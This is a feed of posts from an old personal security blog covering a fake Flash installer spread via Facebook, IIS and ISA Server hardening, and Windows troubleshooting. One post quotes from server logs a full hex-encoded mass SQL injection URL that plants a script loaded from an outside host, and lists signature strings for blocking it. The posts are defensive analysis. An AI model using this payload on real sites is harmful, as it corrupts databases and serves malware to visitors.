tag:blogger.com,1999:blog-39052381677857394552009-06-02T09:37:07.255+02:00Just another security blog?Just Another Security Blog?noreply@blogger.comBlogger30125tag:blogger.com,1999:blog-3905238167785739455.post-73678970527204143332009-05-31T17:22:00.012+02:002009-06-01T08:27:32.490+02:00Geting infected through Facebook -- Part 1Recently I saw an "interesting" URL link on my Facebook. Knowing the person, and I decided to check it out.<br /><br /><div><div><div><div><div><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 73px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/facebook-729921.jpg" /><br />Somehow I decided to visit this URL site from one of my virtual computers that I can easily discard. Once on the site and before I got redirected I was able to see this</div><div><br /></div><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 191px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/site-774275.jpg" /> Since this didn't help much I wanted to check out the source code.<br /><br /><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 63px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/source-714284.jpg" />While this was not very useful (yet), I did notice the redirect URL in the status bar of my browser. <img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 299px; DISPLAY: block; HEIGHT: 64px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/redir-757136.jpg" /></div><div></div><div>This redirection actually took me to different URL addresses at different times of testing.</div></div><br /><div><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 148px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/titlebar-742806.jpg" /> </div><div></div><div>Once the site loads, it notifies the user that it requires Adobe Flash Player 10.37. Checking out Adobe site the latest version they are offering is 10.0.22.87.<br /><br /><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 135px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/flash-795816.jpg" /><br /><br />(<strong>joke mode = on</strong>) This new version (10.37) must be coming from China ;-). They always have the latest versions ;-) (<strong>joke mode = off</strong>)<br /><br />I guess this is a good oppurtunity again to stress how important it is that you get your software from trusted and reliable source and not to blindly trust everyone.</div></div></div><br />There are few links with comments on this site and <strong>all</strong> of them lead to the same thing -- setup.exe file.<br /><br /><div></div><img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 400px; DISPLAY: block; HEIGHT: 396px; CURSOR: hand" border="0" alt="" src="http://www.krneki.net/blog/uploaded_images/links-772961.jpg" /><br />Setup.exe file in this case in 15 KB in size compared to Adobe Flash Player offered by Adobe which is 15 MB in size.<br /><br />I decided to go forward with this and download and run the setup.exe and see what happens. I will be writing about this in part 2.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-7367897052720414333?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-8059339773284821592009-05-29T13:25:00.002+02:002009-05-29T14:02:33.341+02:00NT Conference 2009 materialsI posted my materials from <a href="http://ntk.si/">NT Conference 2009</a> on my website. You can find power points and some other materials here: <a href="http://www.krneki.net/NTK09/">http://www.krneki.net/NTK09/</a><br /><br />Let me know if you have any questions on the subject.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-805933977328482159?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-17649555159460347232008-11-10T12:11:00.002+01:002008-11-10T12:25:50.086+01:00Question from EBS trainingThere was an interesting question on EBS training about vitalizing EBS servers and support for such configuration.<br /><br />The answer is <em>yes</em>. You <em>can</em> run you EBS environment virtualized and it is supported.<br /><br />Here is also question and answer from <a href="http://www.microsoft.com/ebs/en/us/licensing-faq.aspx">Microsoft website</a>… <br /><br /><strong>Does EBS 2008 licensing allow for virtualization? (For example, Windows Server 2008 Standard includes Hyper-V with a license to run one server operating system in Hyper-V.)<br /></strong><br /><em>For EBS 2008 Standard Edition: You can run one instance of each of the management server software, the security server software, and the messaging server software in a physical or virtual operating system environment (OSE) on up to 3 servers at any one time.<br />For EBS 2008 Premium Edition: You can run one instance of each of the management server software, the security server software, the messaging server software, and “premium server” software in a physical or virtual OSE on up to 5 servers at any one time. For the premium server software,<br /><br />You can run an instance of Windows Server 2008 Standard in a physical or virtual OSE; and if you run a virtual OSE, you can run an additional instance of Windows Server 2008 in a physical OSE in order to run hardware virtualization software or provide hardware virtualization services or run software to manage and service operating system environments on the licensed server.<br /><br />You can run any number of instances of SQL in one physical or virtual machine, and it must be joined to the EBS domain.<br /><br /></em>You can even find a guide on <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=840e11e7-6ce7-4b9b-a4ef-c3d5bf97f562&DisplayLang=en">Microsoft website </a>on how to set up the virtual environment (document is currently not up-to-date and is based on RC0; still it should give you a general idea).<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-1764955515946034723?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-4086896102599221412008-11-05T21:19:00.003+01:002008-11-05T21:22:55.147+01:00Essential Business Server<p>I published materials for "Essential Business Server" partner training meeting held at Microsoft Slovenija today.<br /><br />You can find all materials here "<a href="http://www.krneki.net/EBS/">http://www.krneki.net/EBS/</a>"</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-408689610259922141?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-61230378233598590512008-10-09T08:15:00.002+02:002008-10-09T08:24:31.336+02:00SQL Injection/XSS attacks and URLScan 3.0In my previous post I wrote about protecting web sites from SQL Injections, XSS and other URL manipulation by using ISA Server. The question for this post is what can users and system administrators without ISA do to protect their (Microsoft) web servers. <a href="http://learn.iis.net/page.aspx/473/using-urlscan">URLScan 3.0</a> is a free tool from Microsoft and answer to the above question. URLScan was recently release and will run on IIS 5.1 and newer including IIS 7 running on Windows 2008. It works as <a href="http://msdn.microsoft.com/en-us/library/ms524610.aspx">ISAPI filter </a>and will check any URL passed to the server. If the URL matches any filter criteria URLScan ISAPI filter will block such request.<br /><br />After downloading URL Scan and following simple installation instructions we can start configuring our own filters and settings.<br /><div><br /><p>First, let’s create an error file that will show an error when an illegal URL is passed to the server. We can create this file inside the website working folder (default "<span style="font-family:courier new;">c:\inetpub\wwwroot</span>"). I named my error file <span style="font-family:courier new;">"err.htm".</span><br /></p><br /><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/error-file-764062.gif" border="0" /><br />In this file we can enter any message to users passing malformed URL that we want. Message can be HTML formatted or if you want you can even create aspx file that will display visitors IP address or redirect bad request to some other address (e.g. default page). For this demonstration I used simple text message stating <span style="font-family:courier new;">"Illegal URL detected…"</span> (picture below)</p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/error-file-content-744468.gif" border="0" /><br /><p>Now we can open and edit <span style="font-family:courier new;">urlscan.ini</span> file by default located in <span style="font-family:courier new;">"\Windows\System32\inetsrv\urlscan\".</span><br /></p><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/urlscan-path-751192.gif" border="0" /></p></div><div><br /></div><div>First let’s edit</div><br /><div><span style="font-family:courier new;">RejectResponseURL=/err.htm<br /></span><span style="font-family:courier new;"></span></div><div><span style="font-family:courier new;"><br />"err.htm"</span> is name of the file that we created above. Any rejected URL request will get redirected to this file (picture below)</div><div></div><div><br /></div><br /><div></div><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-config-1-711062.gif" border="0" /><br /><p>Next lets scroll down in the <span style="font-family:courier new;">urlscan.ini</span> fille to <span style="font-family:courier new;">[DenyURLSequences]</span> segment where we can add additional filters. This could include:</p><ul><br /><li><span style="font-family:courier new;">"Char("</span></li><li><span style="font-family:courier new;">"exec(@s)"</span></li><li><span style="font-family:Courier New;">"..."</span></li></ul><p>And others that I mentioned on my previous post or the ones that you might discovered on your own. </p><p>Your <span style="font-family:courier new;">urlscan.ini</span> file might now look something like this (picture below)<br /><br /></p><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-config-2-730819.gif" border="0" /><br />Any user passing illegal URL to our web server will get an error like this (picture below) </p><div></div><br /><div></div><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/custom-error-724729.gif" border="0" /><br /><div></div><div><strong>Recommendation:</strong> Check out other options in <span style="font-family:courier new;">urlscan.ini</span> file that might be useful to you. E.g. if you want to limit URL length you can also edit <span style="font-family:courier new;">[RequestLimits]</span> segment<br /></div><br /><div><span style="font-family:courier new;">MaxAllowedContentLength=<br />MaxUrl=<br />MaxQueryString=<br /></span></div><br /><div>with values that work in your environment. This is actually something that you will have to test in your environment first.</div><br /><div></div><div><strong>Conclusion:</strong> Personally, I prefer to use ISA Server for such filtering when I can. It stops these kinds of attacks at the network edge before the malformed URL even "touches" the web server.</div><br /><div><div><strong>Note: <em>This was never meant as permanent cure for SQL Injection or XSS attacks. This is just a precaution and to buy some time to check and fix any potential vulnerabilities in the web applications.</em></strong></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6123037823359859051?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com2tag:blogger.com,1999:blog-3905238167785739455.post-60543847490232419912008-10-05T19:58:00.012+02:002008-10-06T20:47:32.882+02:00SQL Injection/XSS attacks and ISA HTTP filterIn my previous post I wrote about blocking China because a lot of SQL Injection/XSS attacks against my customer servers originated from there. In this post I will write about some other steps we took to protect the servers.<br /><br />From log files we were able to determine that computers there are part of zombie network were passing following URL against the web servers:<br /><br /><span style="font-family:courier new;"></span><br /><span style="font-family:courier new;">http://www.[domain].com/Default.aspx?id=223&lang=2;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861</span> <span style="font-family:courier new;">72283430303029204445434C415245205461626C655F437572736F7220435552534F5</span> <span style="font-family:courier new;">220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737973</span> <span style="font-family:courier new;">6F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D6</span> <span style="font-family:courier new;">22E696420616E6420612E78747970653D27752720616E642028622E78747970653D39</span> <span style="font-family:courier new;">39206F7220622E78747970653D3335206F7220622E78747970653D323331206F72206</span> <span style="font-family:courier new;">22E78747970653D31363729204F50454E205461626C655F437572736F722046455443</span> <span style="font-family:courier new;">48204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4</span> <span style="font-family:courier new;">043205748494C4528404046455443485F5354415455533D302920424547494E206578</span> <span style="font-family:courier new;">65632827757064617465205B272B40542B275D20736574205B272B40432B275D3D272</span> <span style="font-family:courier new;">7223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F77777733</span><br /><span style="font-family:courier new;">2E73733131716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212</span><br /><span style="font-family:courier new;">D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B65</span><br /><span style="font-family:courier new;">20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F7</span><br /><span style="font-family:courier new;">77777332E73733131716E2E636E2F63737273732F772E6A73223E3C2F736372697074</span><br /><span style="font-family:courier new;">3E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F43757</span><br /><span style="font-family:courier new;">2736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572</span><br /><span style="font-family:courier new;">736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);</span><br /><br />After analyzing this URL we determined few optional strings to block. Here are some of them:<br /><ul><li>"declare @s char("</li><li>"exec(@s)"</li><li>"@s=cast("</li><li>"char("</li></ul><p>Not seen in above encoded URL is also string "<span style="font-family:courier new;">script src=http://</span>" which we also decided to block<br /><br />I decided to block above strings on ISA Server that is in this case front end firewall. I opened ISA Server Management console and right clicked on the publishing rule for the server that was getting attacked. Here I selected "<span style="font-family:courier new;">Configure HTTP</span>" (picture below).<br /><br /><br /></p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/select-rule-723890.gif" border="0" /><br /><br />Here we select "<span style="font-family:courier new;">Signatures</span>" tab and select the "<span style="font-family:courier new;">Add</span>" option (picture below)<br /><br /><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/signatures-768915.gif" border="0" /></p><br /><p>Here we can now enter strings that we identified earlier and we want to block when they appear in the URL (picture below)</p><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/parameters-746554.gif" border="0" /></p><p>After clicking OK we can preview entered strings (picture below)</p><br /><p></p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/preview-785754.gif" border="0" /><br /><p>We also added another filter under "<span style="font-family:courier new;">General</span>" tab. URL in our example is very long (over 1300 characters) and we decided to limit how long the URLs passed to our web servers can be. Instead of default 10240 bytes we decreased the value to 512 bytes which will more than accommodate our needs (picture below). URL requests longer than 512 bytes will be blocked.</p><br /><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/url-lenght-761317.gif" border="0" /></p><p></p><br /><p>When URL matching any entered filters ISA will block the request before it reaches the potentially vulnerable web server (picture below).</p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/block-error-713459.gif" border="0" /><br /><br /><p><strong>Note:<em> This was never meant as permanent cure for SQL Injection or XSS attacks. We did this just as a precaution and to buy some time to check the web applications for any vulnerabilities!</em></strong> </p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6054384749023241991?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-51698665047873365282008-10-03T19:26:00.003+02:002008-10-03T19:30:24.121+02:00Bleeding Edge materials...My materials (PPTs etc) from <a href="http://www.bleedingedge.si/">Bleeding Edge</a> are now available for <a href="http://www.krneki.net/BE">download</a>.<div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-5169866504787336528?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-34767468995326549002008-09-22T20:15:00.009+02:002008-09-22T21:39:32.688+02:00Importing ISA Server Computer Set from Standard Edition to Enterprise Edition<strong>Note:</strong> you should backup ISA Server configuration before trying out following workarounds (just in case) ;-)<br /><br />My customers are no exception; they too are getting attacked<sup>1</sup> from IP addresses belonging to China address space. For some of them we simply decided to block all traffic originating in China. For customers using <a href="http://www.microsoft.com/isaserver/default.mspx">ISA server </a>as a firewall, I decided to use "<a href="http://www.isaserver.bm/">Country by Country ISA Computer Sets</a>" prepared by Thor (thank you Thor).<br /><br />The scripts that we could download were prepared for ISA Server 2004 or ISA Server 2006 Standard Edition and they could not be imported to ISA Server Enterprise Edition. If you try to import it to ISA Server Enterprise Edition you would get the following error:<br /><br /><span style="font-family:courier new;">Error: 0xc00403a4<br />Enterprise Edition settings cannot be imported into Standard Edition, and Standard Edition settings cannot be imported into Enterprise Edition.<br />The error occurred on object 'ComputerSets' of class 'Computer Sets' in the scope of array 'Firewall'.</span><br /><br /><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/ISA-EE-Error-750692.gif" border="0" /><br />I really didn't want to copy and paste or manually recreate the computer set. After playing around with the XML file containing computer set I figured out that if you change <span style="font-family:courier new;">fpc4:Edition</span> line from<br /><p align="left"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: left" alt="" src="http://www.krneki.net/blog/uploaded_images/16-line-774479.gif" border="0" />to<br /><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: left" alt="" src="http://www.krneki.net/blog/uploaded_images/32-line-794326.gif" border="0" /><br />you can now import computer set to ISA Server 2006 Enterprise Edition even if it was exported from ISA Server 2006 Standard Edition. You should see the above line near the top of the XML file.<br /><br />Here are also screenshots of the XML file (before and after):<br /><br /><a href="http://www.krneki.net/blog/extras/isa%2016%20se.gif">Standard Edition</a><br /><br /><a href="http://www.krneki.net/blog/extras/isa%2032%20ee.gif">Enterprise Edition</a></p><p><span style="font-size:85%;"><br />1. I will write more about the attacks themselves in my next post...</span> </p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3476746899532654900?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com1tag:blogger.com,1999:blog-3905238167785739455.post-5910754920477462262008-09-11T20:58:00.002+02:002008-09-11T21:11:34.628+02:00Bleeding Edge Conference...<a href="http://www.bleedingedge.si/"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/be-791151.jpg" border="0" /></a><br />I am getting ready for <a href="http://www.bleedingedge.si/">Bleeding Edge conference</a>. The conference will be held on October 1st in <a href="http://www.portoroz.si/EN/">Portorož – Slovenia</a>.<br /><div> </div><div>It is one day event with two tracks. Speakers will be <a href="http://blogs.solidq.com/EN/dsarka/default.aspx">Dejan Sarka</a>, <a href="http://blogs.solidq.com/EN/dzupancic/default.aspx">Dušan Zupančič</a>, <a href="http://www.request-response.com/blog/">Matevž Gačnik</a>, <a href="http://cs.rthand.com/blogs/blog_with_righthand/default.aspx">Miha Markič</a>, Miha Valenčič and myself. Hm – it looks like we will have "Miha track…" :-) <br /><br />I am really looking forward to this event. It should be very educational! I hope to see you there!</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-591075492047746226?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-43297719348270300542008-09-06T21:30:00.028+02:002008-09-06T23:03:28.328+02:00Fine grained policies and Password Policy Manager (PPM)<p>Windows 2008 AD DS (Active Directory Domain Services) allow administrators to set <a href="http://technet.microsoft.com/en-us/library/cc770394.aspx">different password policies </a>to different users or groups. In practice this could mean that administrator can set a password policy of e.g. minimum 5 characters <sup>1</sup> for a password that must be changed every 60 days for ordinary users wile a group of administrators must have a password with at least e.g. 14 characters that they need to change every 30 days.<br /><br />To achieve this, administrator must create different <a href="http://technet.microsoft.com/en-us/library/cc753481.aspx">Password Settings objects (PSO)</a> and apply them directly to user objects or better to group. Any member of the group will now have password policy that PSO linked to the group defines.<br /><br />My friend Miha Jakovac and I wrote (well Miha did most of the writing ;-) ) a free tool called Password Policy Manager or PPM that allows administrators to use GUI tools for creating and applying PSO to users or groups.<br /><br />You can also use the tool to search for any existing PSOs, edit existing PSOs, delete existing PSOs and view applied PSOs to users or groups.<br /><br />You can <a href="http://www.parhelia-tools.com/products/ppm/ppm.aspx">download</a> and use PPM for free.<br /><br />Let Miha or me know what you think about the tool ... </p><ol><li>I don’t recommend using password policy that allows users such short passwords<br /></li></ol><p><strong>Following are some screenshots of the tool...<br /></strong><br /><u>Creating new PSO<br /><br /></p></u><u></u><u></u><u><p><a href="http://www.krneki.net/blog/uploaded_images/create-752617.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/create-752613.gif" border="0" /></a><br /></u></p><u>Applying PSO to user</u><br /><br /><p><a href="http://www.krneki.net/blog/uploaded_images/apply-741207.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/apply-741204.gif" border="0" /></a><br /><u>Checking for any existing PSOs applied to the object<br /></u></p><br /><p><a href="http://www.krneki.net/blog/uploaded_images/check1-741411.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/check1-741407.gif" border="0" /></a><br />Result of the check will show PSO that users is a member of. Here you can also remove user (or group) from applied PSO <p><a href="http://www.krneki.net/blog/uploaded_images/remove-747169.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/remove-747167.gif" border="0" /></a><br /><u>Searching</u><br /><br />Hint 1: You can use keywords...<br />Hint 2: You could search for specific user or group and apply new PSO to it...<br /><br /><a href="http://www.krneki.net/blog/uploaded_images/search-745230.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/search-745227.gif" border="0" /></a><br /><u>Result of the search</u><br /><br />With return list of PSOs you can view details of the PSOs, edit them, delete them etc.<br /><br /><a href="http://www.krneki.net/blog/uploaded_images/result-710182.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/result-710178.gif" border="0" /></a><br /><u>Viewing PSO details</u><br /><br />You can view details of PSO such as password length, password history and other settings. You can also remove any user from PSO that might be linked to it. If you wish, you could export the settings to LDF formatted file.<br /><br /><a href="http://www.krneki.net/blog/uploaded_images/details-788420.gif"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/details-788416.gif" border="0" /></a></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-4329771934827030054?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-8635217819957145472008-08-30T21:37:00.005+02:002008-08-30T22:23:57.398+02:00Slow mail relay server performanceRecently I was troubleshooting slow performance of customer's server. After going through regular check such as amount or RAM, processor power using task manager that didn't reveal anything useful I run Performance Monitor (perfmon).<br /><br />By default perfmon shows three counters (on Windows server 2oo3) and one of them is "Average disk queue length".<br /><br />Looking at the picture below, you can see (highlighted and circled in the green) that average disk queue length was over 3 almost all of the time.<br /><br /><br /><a href="http://www.krneki.net/blog/uploaded_images/hdd-761843.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/hdd-761839.jpg" border="0" /></a><br />Average disk queue length indicates the average number of both read and write requests that were queued for the selected disk during the sample interval. In other words, on this particular server, there are more requests for reading and writing operations that server can handle. Browsing through different recommendations, anything higher than 1 should be investigated as potential bottleneck and should be investigated.<br /><br />At this point I was getting somewhere with this server. Since disk queue length was high I decided to check if this hard disk was badly defragged (picture below) and I was proven right.<br /><br /><br /><a href="http://www.krneki.net/blog/uploaded_images/defrag-720608.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/defrag-720602.jpg" border="0" /></a><br /><br />To explain this a bit further. This is a dedicated mail relay server sitting in DMZ, constantly receiving e-mails (and a lot of spam) from the internet. This means it is constantly receiving small files, writing them to hard drive, forwarding them to internal mail servers and then deleting them from the hard disk. This amounts to a lot of reading and writing requests.<br /><br />Investigating further I discovered that "badmail" folder hasn't been cleaned out in a very long time. It contained more then 100.000 (small) files.<br /><br /><p><strong>Resolution:</strong><br /></p><ul><li>Emptying badmail folder</li><li>Performing defrag on the hard drive -- numerous times</li><li>I created a batch job that runs several times a day cleaning out "badmail" folder</li><li>I created a batch job that is running defrag on the server every night<br /></li></ul><p>Since making these changes while server is still under a lot of stress it is performing much better then before.</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-863521781995714547?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-62656127962144452632007-11-12T21:50:00.000+01:002007-11-12T21:50:52.078+01:00POP3 and (password) security... (Part 2)<span style="font-family:verdana;">After writing "</span><a href="http://www.krneki.net/blog/2007/11/pop3-and-password-security.html"><span style="font-family:verdana;">POP3 and (password) security</span></a><span style="font-family:verdana;">", I received few e-mails asking me about potential consequences of someone knowing (learning) your e-mail passwords…</span><br /><span style="font-family:verdana;"><br />Well, it depends on the (e-mail) system. Most obvious consequence is that someone other than you can now read your e-mail. Every one of us now has to decide if that is bad and how bad.<br /><br /><span style="font-family:courier new;"><funny mode = "on"> </span><br />Personally I wish someone would guess my password and read my e-mail in hopes of this person responding to some of them instead of me... ;-) ...<br /><span style="font-family:courier new;"></funny> </span><br /></span><span style="font-family:courier new;"><br /></span><span style="font-family:courier new;"><span style="font-family:verdana;">Next thing we have to ask ourselves is, where else do we use this same username and password? At time where single-sign-on systems are more and more popular, one password is used to access your e-mail and other (corporate) systems that might be holding sensitive</span></span><span style="font-family:verdana;"> data. </span><br /><span style="font-family:verdana;"></span><br /><span style="font-family:verdana;">Last but not least; and too often underestimated consequence. Some e-mail systems are configured (some of them by default) to allow relaying of any e-mail if clients successfully authenticate. </span><br /><span style="font-family:Verdana;"></span><br /><span style="font-family:Verdana;"><strong>What is e-mail relaying?</strong></span><br /><span style="font-family:Verdana;">In general, e-mail servers will only accept <strong>inbound</strong> e-mail messages where "Mail to:" ("<span style="font-family:courier new;">rcpt to:</span>") filed matches domain name that e-mail server is "responsible" for. In my case this would be anything ending with "@krneki.net". E-mail messages that have destination address anything other than "@krneki.net" should get rejected.<br /><br />Knowing username and password would allow anyone to authenticate against e-mail server (SMTP service) and submit messages destined to any domain other such as "@gmail.com" making server accept and relay messages to other e-mail servers. </span><br /><br /><span style="font-family:verdana;">This is bad for few reasons:</span><br /><ul><li><span style="font-family:verdana;">It will consume all available resources (e.g. hard disk space)</span></li><li><span style="font-family:verdana;">It is very likely that your public IP address will end up on spam list (black list) preventing delivery of our legitimate e-mail messages to our partners and customers</span></li></ul><p><span style="font-family:verdana;">Such attacks against e-mail servers are not uncommon and are popular enough to get mentioned on <a href="http://en.wikipedia.org/wiki/SMTP-AUTH">Wikipedia</a>!</span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-6265612796214445263?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-33315522276628561372007-11-07T11:10:00.000+01:002007-11-07T11:16:45.710+01:00KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e) in fw.sys<span style="font-family:verdana;">I received this dump files from our customer. Unfortunately there seem to be something wrong with dump file itself and I had a bit of trouble getting necessary information from it.</span><br /><span style="font-family:verdana;"><br /><strong>Computer in trouble:<br /></strong></span><span style="font-family:courier new;">Windows Server 2003 Kernel Version 3790 (Service Pack 2) MP (2 procs) Free x86 compatible<br />Product: Server, suite: TerminalServer SingleUserTS<br />Built by: 3790.srv03_sp2_rtm.070216-1710<br />Kernel base = 0x80800000 PsLoadedModuleList = 0x808af9c8<br />Debug session time: Wed Oct 31 11:46:37.968 2007 (GMT+1)<br />System Uptime: 0 days 0:01:33.781</span><br /></span><br /><span style="font-family:verdana;"><strong>Error reported by the computer:</strong><br /></span><span style="font-family:courier new;">KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)</span><br /><br /><span style="font-family:courier new;"><strong>!analyze –v <span style="font-family:verdana;">returns following information</span></strong><br />STACK_COMMAND: .bugcheck ; kb<br />FOLLOWUP_IP: fw+288aebf66b6aeb 0c8b or al,0x8b<br />FAULTING_SOURCE_CODE:<br />FOLLOWUP_NAME: MachineOwner<br />SYMBOL_NAME: fw+288aeb<br />MODULE_NAME: fw<br />IMAGE_NAME: fw.sys <strong><span style="color:#330099;"><-- It looks like fw.sys driver is causing problems</span></strong><br />DEBUG_FLR_IMAGE_TIMESTAMP: 45214c7f<br />FAILURE_BUCKET_ID: 0x8E_fw+288aeb<br />BUCKET_ID: 0x8E_fw+288aeb<br />Followup: MachineOwner</span><br /><br /><span style="font-family:courier new;">STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong.808a3600 80839b02 00000000 0000000e 00000000 